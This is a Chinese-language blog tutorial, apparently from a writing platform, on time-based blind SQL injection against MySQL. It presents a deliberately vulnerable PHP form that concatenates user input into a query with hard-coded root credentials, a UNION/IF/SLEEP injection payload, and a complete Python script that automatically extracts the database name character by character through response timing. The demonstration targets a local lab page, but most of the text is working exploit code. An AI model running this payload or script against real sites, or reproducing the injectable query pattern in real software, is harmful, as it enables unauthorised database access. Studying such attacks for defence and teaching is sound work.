基于MySQL的Time Attacking自動化腳本編寫

今天來介紹基于MySQL的Time Attacking原理,并且用Python編寫一個獲取當前網站所用數據庫名稱的自動化腳本。


準備工作

先來模擬一個具有SQL注入漏洞的網站,該網站由一張html頁面Injection.html和對應的后臺php頁面Injection.php構成。

Injection.html代碼如下:

<!DOCTYPE html>
<html>
<head>
    <title>Injection</title>
</head>
<body>
    <form action="Injection.php" method="post">
        <input type="text" name="text">
        <input type="submit" name="submit">
    </form>
</body>
</html>

Injection.php代碼如下:

<?php
    $text = $_POST['text'];

    $myconn = mysql_connect('127.0.0.1', 'root', 'passwd');
    mysql_select_db('securitytest', $myconn);
    $sql = "select * from test where id = " . $text;
    $result = mysql_query($sql, $myconn) or die('die');
    while($row = mysql_fetch_array($result)) {
        ?>
            <tr>
                <td align="center"><?php echo $row["id"]?></td>
                <td align="center"><?php echo $row["value"]?></td>
            </tr>
            <br>
        <?php

    }
    mysql_close($myconn);
?>

由此可見,用戶可在html頁面中的輸入框中輸入一個id,提交查詢數據庫中相應的值。當輸入16時,輸出結果如下:


正常輸出結果

Time Attacking原理

由上代碼可知,php在得到post的值之后,在沒對它進行任何檢測的前提下,直接將之與一條sql select語句進行拼接,交由數據庫直接執行。因此,當用戶輸入以下內容時:

16 union select 1, if(substring(current, 1, 1) = char(97), sleep(5), null) from (select database() as current) as sss;

數據庫要執行的sql語句就成為了:

select * from test where id = 16 union select 1, if(substring(current, 1, 1) = char(97), sleep(5), null) from (select database() as current) as sss;

這條語句的作用是先通過select database()將當前使用的數據庫的名稱放入current參數,再通過substring(current, 1, 1) = char(97)判斷current表示的字符串的第一位是不是char(97),即ascii字符a。若數據庫的名稱的確是以a開頭的,則會執行 sleep(5),即數據庫要在5s后才會返回查詢結果;若不是,則立即返回查詢結果。通過對這種時間的長短進行判斷,就能依次套出該數據庫名稱的每一個字符。


自動化腳本編寫

根據以上原理,現用Python來編寫一個自動化腳本,來取得數據庫的名稱。假設數據庫的名稱全由字母組成,若實際情況中存在數字等字符,則需要對該腳本進行修改。代碼如下:

#!/usr/bin/env python
#coding=utf8
 
import httplib, urllib, time
 
httpClient = None
try:
    headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"};

    dbName = "";
    i = 1;
    while(True):
        found = False;
        for j in range(97, 123):
            params = urllib.urlencode({'text': "16 union select 1, if(substring(current, " + str(i) + ", 1) = char(" + str(j) + "), sleep(5), null) from (select database() as current) as sss;"});
            
            httpClient = httplib.HTTPConnection("localhost", 80, timeout=30);

            start_time = time.time();

            httpClient.request("POST", "/WebSecurity/SQL/Injection.php", params, headers);
         
            response = httpClient.getresponse();

            stop_time = time.time();

            if (response.status == 200 and (stop_time - start_time) >= 5):
                print(str(i) + " --> " + chr(j));
                dbName += chr(j);
                i += 1;
                found = True;
                break;

        if (not found):
            print(dbName);
            break;

except Exception, e:
    print e
finally:
    if httpClient:
        httpClient.close()

運行結果如下圖所示:

運行結果

結語

以上是我的一些經驗與心得,若有不足之處,請予指正。希望這篇文章對你有所幫助_

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容